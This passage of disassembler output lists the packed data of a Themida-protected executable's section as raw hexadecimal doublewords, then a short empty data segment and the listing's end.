		dd 10h,	79E2AEADh, 3DEF5D2Bh, 0A9ECDA1Eh, 0A4F9A27Fh, 0E959EC8Ah
		dd 13h,	457C6157h, 71097460h, 0C4E3C214h, 0A3F5D5C3h, 0F501008h
		dd 680h, 6AE78100h, 8A3762ADh, 0F0B70FC5h, 0BEC5E181h
		dd 8B523191h, 0E9525EFEh, 0Ch, 25E73AEDh, 2756662Dh, 8E5F40FBh
		dd 0EE81665Bh, 10E8769Bh, 0D4000000h, 0FBDA57D1h, 0C11501B5h
		dd 888CD8AFh, 0FC283E2h, 687h, 82E78100h, 5920CC5Ah, 98D08060h
		dd 0C8A0F61h, 0F000000h, 683h, 8A0F00h,	0E9000000h, 0Fh
		dd 15E23225h, 7C867EA4h, 0AC5FAE00h, 0FA6CE15h,	8A0FDEB7h
		dd 1, 0FEBF0FF9h, 7E9h,	27E64E00h, 0F8AC148Bh, 81F28B66h
		dd 8DA4EDCBh, 0D18B664Ah, 0F1F58060h, 66616060h, 6161CB8Bh
		dd 0DE8h, 0F4BA0200h, 267E44EAh, 327264DAh, 0F579659h
		dd 5959FABFh, 0EE9h, 0EA8CB200h, 0E52EA72Ch, 17644588h
		dd 813423CFh, 695571F7h, 0F1FB421h, 383h, 0A1D08000h, 9DB5E281h
		dd 8B0F12DAh, 4, 58616050h, 8B6042B6h, 816661C8h, 0FFE78C1h
		dd 0BF0FCAB7h, 0BE9FEh,	99660000h, 0C4B5F43Bh, 4EDD01ADh
		dd 8E9602Fh, 47000000h,	7E778AB2h, 0BAC79277h, 26158868h
		dd 208C0F61h, 0F000000h, 1A86h,	14E800h, 0C0930000h, 0BE2F6E49h
		dd 0EBCF6F56h, 17D02B16h, 84FCD1ABh, 0F5A9D33h,	389h, 0C6B70F00h
		dd 0F97EEB80h, 0BF0FE18Ah, 8E9C7h, 24F60000h, 0DACCB176h
		dd 8057DE62h, 805F00CAh, 0B70F99C6h, 0D830FD6h,	60000000h
		dd 32BBACBEh, 8A0F01h, 61000000h, 0AE952h, 5D200000h, 0EB740A46h
		dd 0D19DE545h, 0DD80F95Fh, 0F5F51D0h, 1284h, 0BE800h, 8C5D0000h
		dd 7E7B539Fh, 2C6C4193h, 605BFC41h, 662CEE80h, 61BC6ABFh
		dd 0DE9h, 3E3F8400h, 23FD3917h,	1A610D62h, 14E8801Fh, 5F000000h
		dd 696F2017h, 0C664AE37h, 1D8AE092h, 0A73AAD1Fh, 0E891279Ch
		dd 14h,	0E93F6596h, 0C449A6F1h,	0B8553F41h, 0DE495006h
		dd 0CAB889FBh, 59596160h, 0DA816660h, 8B668ACCh, 0F5261DAh
		dd 8A5FF1B7h, 2810FF8h,	0B1000000h, 0FE989h, 0F3380000h
		dd 0F10547BCh, 76BAF48Ah, 5CF297Fh, 0E8816689h,	0B70FB8B0h
		dd 82B966D1h, 11E8C9h, 78C00000h, 6B4509F0h, 0BEF1D106h
		dd 0F2494C20h, 0FADBED4h, 381h,	0B8EC8000h, 0D78B665Ah
		dd 0EE8h, 9DB12900h, 7B6D69C5h,	0EA774680h, 0F271B65h
		dd 286h, 5EC18B00h, 5880F60h, 0BE000000h, 7F6FCDB2h, 0BE8h
		dd 8412CB00h, 941A6F9h,	4AD2DB64h, 0FE8615Fh, 6A000000h
		dd 0C4A8898Bh, 465B27F6h, 0FEF7B3E8h, 8E88CC5h,	0DF000000h
		dd 806051E9h, 810460F5h, 1DA35DDAh, 605B5A7Ah, 0D430B6BBh
		dd 18E08072h, 0B966F561h, 8B663184h, 0E78166F9h, 0B866BAFEh
		dd 81661E57h, 66EAD9E0h, 7BFAF381h, 78F0Fh, 60600000h
		dd 0D6B70F61h, 9E85061h, 2A000000h, 0EB08543Eh,	0A9E7FE09h
		dd 0E9F95959h, 11h, 9407244Dh, 99A1ADAh, 6823E32Fh, 0BD6F34B7h
		dd 12E95150h, 8B000000h, 0A603CDCAh, 0E1F68BBh,	8DB3BE82h
		dd 26A3AB39h, 7E85B95h,	6C000000h, 0C80BDA87h, 0F98B09D2h
		dd 9DCA8059h, 7E8h, 58B9C900h, 7F3ED737h, 66FC5EF9h, 90BAF081h
		dd 11E3DFBBh, 8B0FF535h, 4, 0AA8BBE66h,	0FDF8B66h, 381h
		dd 0CABF0F00h, 40D4BB66h, 0FF6BF0Fh, 58Ch, 0B097B800h
		dd 0FFC2590h, 0FC8AF8BFh, 8571E1BAh, 0F18B6674h, 81D9CC80h
		dd 5D369ED7h, 8A0F73h, 0F000000h, 33B4F6BFh, 5AD18B52h
		dd 60F5E58Ah, 13E8EB8Ah, 0E2000000h, 0A6293429h, 0D0DE1CB1h
		dd 3C77D8E0h, 0C21CD538h, 0BE8389Bh, 0B9000000h, 572B2BBFh
		dd 8D792C84h, 5E598F97h, 6E961h, 126B0000h, 4A6E2A64h
		dd 5850Fh, 29BE0000h, 815EA552h, 219F5BD0h, 0DA8B665Ah
		dd 0FB26DCBAh, 14E943h,	37870000h, 2E4C2F0Ch, 5EC6687Ch
		dd 0B2420B04h, 49E29EB7h, 0DF815838h, 2C2A1543h, 9E960h
		dd 0D9FC0000h, 587C7E5Ah, 0F91E620h, 0BE61CFBFh, 1D9BF403h
		dd 0FE950h, 31320000h, 0F2A4C987h, 0DD2CA821h, 64E753CBh
		dd 0BF0F5BA9h, 10E8CAh,	0F94F0000h, 0A66A274Fh,	479A207Ch
		dd 2D98AEC3h, 0BF0F745Bh, 8B665AD8h, 0EE8F1h, 42F60000h
		dd 645213AFh, 4A70C56Ah, 0F1C97A96h, 0E08636BFh, 0F2805B47h
		dd 0E1F781E1h, 8B29DA92h, 0B5DF81C8h, 66562CD8h, 0E9917DBFh
		dd 10h,	0D9893A47h, 457AB6Dh, 82F49272h, 0E430309Ch, 5E9h
		dd 0D58BF00h, 0B70F99CFh, 665857CBh, 0F808C8BAh, 0D0D68166h
		dd 0EE837h, 0BA120000h,	0B5AA0CE4h, 0BB880B1Ah,	54D3EBFAh
		dd 0E958F28Bh, 12h, 0FE16C4C8h,	0CAC07ED6h, 0B81DCD14h
		dd 0C75829BEh, 890FDDDFh, 17h, 12E9h, 0CFFFD500h, 2453BA7Bh
		dd 9A1520FDh, 79899Ah, 80993585h, 9E9F5C3h, 69000000h
		dd 0D026640Eh, 6E7A7D18h, 58C0Fh, 0F520000h, 0F59CFB7h
		dd 0C8Ah, 7E900h, 8EF0000h, 4DD18ABCh, 5BEA81E7h, 0F52722E4h
		dd 6652D08Bh, 588848BAh, 39B3BA66h, 6E95957h, 84000000h
		dd 6420A6A6h, 6E840h, 72E20000h, 0EB4883F0h, 19D0815Bh
		dd 0F13BE37h, 584h, 0DE816600h,	0EF80F060h, 816660DDh
		dd 0F09D9E8h, 1580h, 0FE800h, 93DC0000h, 64A9831Fh, 7DD9397Bh
		dd 0D9792071h, 0F615F3Dh, 585h,	8697BE00h, 0EA8A6400h
		dd 7FAA32BAh, 0F8FCF829h, 6E8F9h, 90E10000h, 0DFB64522h
		dd 1ACE8059h, 3DDF8166h, 0BE98Ch, 0C1950000h, 0F5B6EB2Fh
		dd 1D195246h, 0EE82Ch, 0A2500000h, 9131C54h, 1CC19056h
		dd 12B8010Eh, 0BF5F09B7h, 27CED3EBh, 60FFBF0Fh,	2800Fh
		dd 0D78A0000h, 0F076E381h, 0E8612EDFh, 9, 98AC3406h, 0E40B160Bh
		dd 6E97Fh, 4EF10000h, 1F01DF5Bh, 0D2815059h, 15A6CF49h
		dd 0CE95Bh, 30500000h, 720A0C44h, 0F9856C68h, 8B661B45h
		dd 1C8CBBC6h, 0BF0F3E29h, 11E9C9h, 9DD70000h, 1A49445Bh
		dd 0F1BF5FF7h, 62FF123Ch, 0E9CBD5D1h, 0Eh, 0D7E0F500h
		dd 0F2963231h, 0DAB75ECBh, 0BF0F4B5Bh, 0F9C18AD0h, 63E6B966h
		dd 840A3B9h, 53E9800Eh,	0FD38B66h, 85h,	0DE900h, 9C810000h
		dd 3002CEF9h, 0D542D426h, 80061BFEh, 0D48A65ECh, 0FA0DC80h
		dd 981h, 38B0F00h, 80000000h, 71BBBBEFh, 816B7211h, 667442DEh
		dd 0C909BA79h, 8E0F64DEh, 0Eh, 9E9h, 5664FE00h,	998094C5h
		dd 8B66860Dh, 0E7BE66D0h, 96C8813Eh, 0E918082Eh, 11h, 0C1A3FCD6h
		dd 0E3388A2Dh, 0F00F947Ah, 5DD816C6h, 0FE8F9CEh, 9000000h
		dd 6DBF86Fh, 0C2433AC1h, 6549B908h, 0F5F11F8h, 382h, 0D1B70F00h
		dd 11EDF781h, 0DE95A4Bh, 1E000000h, 6A6F0B8Fh, 8063943Eh
		dd 509EF59Eh, 0DE85E53h, 99000000h, 76E70535h, 0A3E9F1E2h
		dd 0A3DCEADCh, 0AE9h, 0CE921C00h, 0D8409E25h, 58F3D9D7h
		dd 503EBA52h, 665F7FC7h, 663570B9h, 0E9CB26B9h,	0Dh, 180E156Ch
		dd 9B4E315Bh, 58ACF4A4h, 0D4BE66F0h, 13E80Bh, 33F20000h
		dd 15FC50B3h, 288D709Eh, 0FF0D0896h, 0C43F2AF7h, 59D68BEFh
		dd 0EF4C181h, 14E91329h, 38000000h, 51E1502Eh, 45AABCA8h
		dd 5E1016CEh, 13068DAEh, 0E8FDA25Bh, 6,	0C4E3C214h, 0BF0FD5C3h
		dd 8F0F5BD1h, 2, 8A0F91B2h, 0
		dd 66C6B70Fh, 0E957FA8Bh, 0Ch, 0AC6320FBh, 0FDF5A719h
		dd 4F628587h, 1007BE59h, 516063CEh, 0DE85Bh, 1A160000h
		dd 64F9E22Eh, 0BB48B38Bh, 59DD93BAh, 6840F61h, 81000000h
		dd 0D9EC7CDFh, 16E78119h, 663742ADh, 0C6BFDA8Bh, 0F54BA002h
		dd 0F8B70F60h, 0EA07B860h, 8B0F2F53h, 0
		dd 0F7806161h, 14E95724h, 91000000h, 424EE637h,	0CD07A97h
		dd 0C991A976h, 3BDB7BDEh, 5B4FC81Eh, 32E18166h,	0F66B637h
		dd 6660C1B7h, 890FD78Bh, 19h, 14E9h, 7A953900h,	82E10356h
		dd 0DA105207h, 43E9D1AEh, 74EC17BBh, 51F56125h,	29B1BA66h
		dd 820F5Ah, 0F9000000h,	31939FBAh, 0D3816625h, 0B966BC4Ch
		dd 0FFC7851h, 0A88h, 4860F00h, 66000000h, 66C3DBBBh, 216AE881h
		dd 98F48051h, 6E85Bh, 0BDE40000h, 2BBEAAC7h, 0E3816660h
		dd 61F53372h, 0F7B70F59h, 0CFF48060h, 12E8h, 0CB986C00h
		dd 9C9654CCh, 0D554A104h, 2647C710h, 8AF4B281h,	66615FCFh
		dd 60ECD1B8h, 6E8h, 6A7D400h, 8AC25AD5h, 61F85FD8h, 8E8h
		dd 0B4326F00h, 0B9C348CBh, 9E882h, 16BA0000h, 2912EE64h
		dd 0F4B5C04h, 81h, 665E5A00h, 3AB1F08Bh, 0CE8h,	0A9EB6800h
		dd 0D588D5BCh, 5A15606Ch, 58F28B82h, 860F5260h,	0
		dd 0BE95Fh, 0BC350000h,	0F7199CA1h, 20B0CA94h, 0FFC610Eh
		dd 0C180C0BFh, 58A0F82h, 66000000h, 0F545C781h,	0BF0FFA8Bh
		dd 0F60F5C1h, 8B61CFB7h, 0BF6652FEh, 8A5E8016h,	13E9E5h
		dd 4C200000h, 0BED4F249h, 0AC19E3ADh, 4CD4980Fh, 0DB912BDDh
		dd 0E8FB8B49h, 0Ah, 7EA38339h, 91A30C0Bh, 81662F63h, 59B8EDDFh
		dd 0FE9h, 6813200h, 0E5482D9Fh,	4F88EF62h, 924703BCh, 0B660FA8Bh
		dd 0C18B66E7h, 0BCBA6661h, 0EE9606Eh, 0EC000000h, 74251C06h
		dd 9BBC073Ch, 0F241562h, 61D98A00h, 0FC3B70Fh, 2085h, 0DE800h
		dd 77320000h, 21F919B6h, 8A5031E5h, 0E9330FEDh,	8, 0B957863Bh
		dd 326C5F6Eh, 0C781665Bh, 0B70FC589h, 53F580D6h, 66F2E280h
		dd 0E86F76B9h, 8, 0AA3A1E1Dh, 0D8E139B3h, 58D78B66h, 7D1DBB66h
		dd 7880Fh, 8B600000h, 0C38B66D6h, 0CB8B6061h, 4341F081h
		dd 0F6125A7h, 486h, 61606000h, 0F890F61h, 0E8000000h, 6
		dd 0E9775B26h, 0B70FD1F9h, 890F5ED9h, 5, 0C10B8FBAh, 5850F53h
		dd 0BA000000h, 5BB2DD1Fh, 0E8F1BF0Fh, 8, 50BB6E1Dh, 1862C4D4h
		dd 0E3815EF8h, 15ED5859h, 26DBBE60h, 60605B26h,	0C28B6661h
		dd 1DBF6161h, 663F8C91h, 0E928C7B8h, 5,	0C3F688E0h, 14E90Fh
		dd 0E4C0000h, 53FEDDF1h, 0C2A27EA8h, 0D17EC9F1h, 46A8EB59h
		dd 8B666CEFh, 0AE860D9h, 0F3000000h, 679CE7BBh,	14697A36h
		dd 0D381667Ah, 615EE96Ah, 66F5F88Bh, 0E92D5CB9h, 0Ch, 968BD9BFh
		dd 51FC2CD9h, 25624BFDh, 0A860Fh, 8D0F0000h, 4,	0BF62B866h
		dd 0E8D68166h, 1EBB666Eh, 870F6046h, 6,	800Fh, 0E8600000h
		dd 12h,	0EE143D7Dh, 0E39645C2h,	405D2238h, 126661E1h, 615E9211h
		dd 58B0F61h, 66000000h,	6D22E681h, 6E9F78Bh, 0BE000000h
		dd 53547760h, 0FE9DEh, 599A0000h, 7C70A72Eh, 7D3108CAh
		dd 5C1C8F59h, 0FFB70F63h, 29D08166h, 7820F28h, 60000000h
		dd 60C88166h, 8B0F6173h, 0Ch, 940B860h,	56BE3991h, 61030F47h
		dd 0E9F18166h, 8D0F565Ch, 3, 5FC2F780h,	80F48AF5h, 11E956EDh
		dd 1D000000h, 654AA9B1h, 0AD4AE1BBh, 42427B77h,	0DFAD6283h
		dd 845ADA81h, 0BB6679C1h, 8B66AFA3h, 8830FDFh, 57000000h
		dd 0CA59C981h, 0F5E690Ch, 1988h, 11E85700h, 50000000h
		dd 6370144Fh, 0CA804F7Ch, 82B7F6D4h, 0B19A328Dh, 0E9FC595Eh
		dd 0Bh,	1E549449h, 0C15B4853h, 8B0B0FB5h, 14800FDAh, 0E9000000h
		dd 0Fh,	0D0D2F998h, 0F9B79314h,	0D61715A7h, 0E92E66F5h
		dd 14h,	90BA66B9h, 4A2F3AE5h, 4138D80Bh, 0F6804BABh, 0AE556D4Bh
		dd 0F95356F5h, 0D1815859h, 25ECD013h, 0E96027B2h, 0Fh
		dd 6144B347h, 0A3F2BEB3h, 4BD1E09Fh, 502733A6h,	615BF88Bh
		dd 80CFB70Fh, 0B8665FE1h, 66605734h, 8B66DF8Bh,	8C0F61C3h
		dd 6, 34D7E081h, 0BE667FC7h, 820F55F2h,	0
		dd 0BE9h, 33DF3D00h, 0DED0BC8Eh, 81EFD13Ch, 7DC0BE66h
		dd 61EF8166h, 35D580B7h, 58B0Fh, 81660000h, 0E9057BE1h
		dd 11h,	0F943C7CCh, 0C18899Bh, 958815BEh, 0D7BDF4C3h, 0F2816664h
		dd 0BB66628Dh, 51F581B3h, 0CE8h, 4E7FA500h, 12D43639h
		dd 415ECDE7h, 5B5A5211h, 0F8606059h, 95B1D181h,	0E96167B0h
		dd 0Eh,	0B42146C2h, 8E50F5F0h, 0DC68C263h, 0F61C439h, 386h
		dd 0DA8B6600h, 8166D9B3h, 0FC9003E9h, 0FF7B70Fh, 168Eh
		dd 0DE800h, 3DFC0000h, 94ED015Dh, 0D729D728h, 6672A530h
		dd 0E959D98Bh, 0Ch, 0F041AF20h,	0DD53A938h, 1EB73298h
		dd 8B66C18Bh, 0C38B66D0h, 0E9CF8B66h, 0Eh, 242FB436h, 3D9DD999h
		dd 258D47F4h, 0E950D59Bh, 13h, 0FA18B7DCh, 6316F3AAh, 0C5891E8Ah
		dd 28C46ADDh, 5E437267h, 5E99B966h, 5880Fh, 81660000h
		dd 0E91018C7h, 10h, 6982BBB0h, 0DB45B90Ch, 1FB4E61Dh, 456347FAh
		dd 0F8BF0F60h, 7C83B960h, 616119F2h, 7CF4BA66h,	0EED08166h
		dd 7E86003h, 78000000h,	0F42C9142h, 0BCB30A34h,	2820F5Fh
		dd 51000000h, 830F615Ah, 5, 0FF78166h, 0B34CB90Dh, 8A0F3201h
		dd 3, 66FB8B66h, 0D090D781h, 12E9h, 246D8800h, 9B3656A7h
		dd 39D6530Ch, 0E9C68DEEh, 0F5BE1FAh, 0F56DABFh,	1088h
		dd 0BE900h, 0CC0C0000h,	5D49C127h, 6EFC33B5h, 23065984h
		dd 0D5h	dup(23065A31h),	0D6E50631h, 30Ah dup(0D6E5068Bh)
		dd 180h	dup(0ACCD2A21h), 0A74FF021h, 0EEh dup(0A74FF031h)
		dd 3D4FF031h, 14Eh dup(3D1CA652h), 54h dup(0D781D21Ah)
		dd 135h	dup(0E8C12F52h), 0AD8h dup(0CCCCCCCCh),	0CCCCh
		dd 33Dh	dup(0)
Themida_	ends

; Section 5. (virtual address 0020C000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0020C000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 60C000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start